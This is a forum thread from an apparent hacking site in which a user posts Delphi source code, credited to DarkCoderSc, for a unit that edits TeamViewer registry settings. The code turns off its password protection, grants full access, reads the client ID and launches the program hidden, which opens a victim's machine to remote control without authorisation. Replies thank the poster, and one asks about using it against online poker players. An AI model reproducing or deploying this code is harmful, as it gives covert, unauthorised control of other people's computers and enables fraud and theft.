[CustomiZer]

Hello members,

thought I would share with you guys.
This is a really sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !

Code

(*
--
Author   : DarkCoderSc
From  : France
Mail  : [email protected]
--
Comunity : Http://www.opensc.ws/
--
Require Registry.pas , Classes , Sysutils to be add in uses
--
*)

unit UntTVHack;

interface

Uses Windows,Registry,Sysutils,ShellAPI;
{--}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{--}
implementation

{--}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{--}

{Get the TV Version--}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{Get the Full TV Version--}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will give the Team Viewer ID}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This little function will format in String- the TeamViewer ID}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID--}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{--}

{Now Launch Team Viewer Hidely}
Procedure RunTVHide;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{--}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{--}
Reg.CloseKey;
Reg.Free;
End;

Function GetTVPath:String;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{--}
Result := TVPath;
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}
end.

Author : DarkCoderSc
From : France
Coded in : Delphi
All credits goes to the author (DarkCoderSc) I take no credits in this. I just did a copy paste 😝
Enjoy 👍

-CustomiZer

EDIT : Members don't PM me asking what it is and what to do. I'll never teach you. Learn it yourself or this is not for you.



Check my other threads here :
» logkeys Linux keylogger version 0.1.1a [alpha]
» Secunia Personal Software Inspector (PSI)
» Online Scanners and Malware Analysers
» The Official Windows 7 Guide

[ExodusPKER]

nice.. i will try it out :) thx

[CustomiZer]

100 views and 3 replies. Post away to let others view this and keep it alive 👍

[CustomiZer]

I would but you won't even explain where we put this, do we add .reg to end of a notepad with this in it? If so where do we stick it??? What do we name it??? How do we use it.

If everyone knew how to use it the world would be a very unsecure place to live in. Try to lean it yourself and I assure it will be much more useful.

[CustomiZer]

Nah..I'm fine with it. Its a code in Delphi Compil it yourself. That is all I can say.

[Wind]

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? 😖

[CustomiZer]

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? 😖

Yay Don't worry. Half of the n00bs won't understand what it is or what to do with it. 😉

[CustomiZer]

No problem. Enjoy Guys. 👍

[オメガピンク]

Not bad, although I don't plan on using this it may be helpful to other users,

[ch4x0r]

ok so answer me this i tiemview alot with people playing online poker some for big cash so your telling me this would help me if i wanted to be a crook right? i dont know what it is but just give me that hint and i will figure it out.

[CustomiZer]

ok so answer me this i tiemview alot with people playing online poker some for big cash so your telling me this would help me if i wanted to be a crook right? i dont know what it is but just give me that hint and i will figure it out.

Don't ask me stuff if it involves illegal money 😠

[w1ck3d s1n]

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? 😖

Well you are on a hacking website what do you expect ? lol just sayin

[Imperialz!]

lol please add a tut to this :D:D

[CustomiZer]

Bump for those who need 😝

[-mothered-]

Although I personally won't be utilizing this, It does seem like It will do the job quite well.
Nice contribution mate :)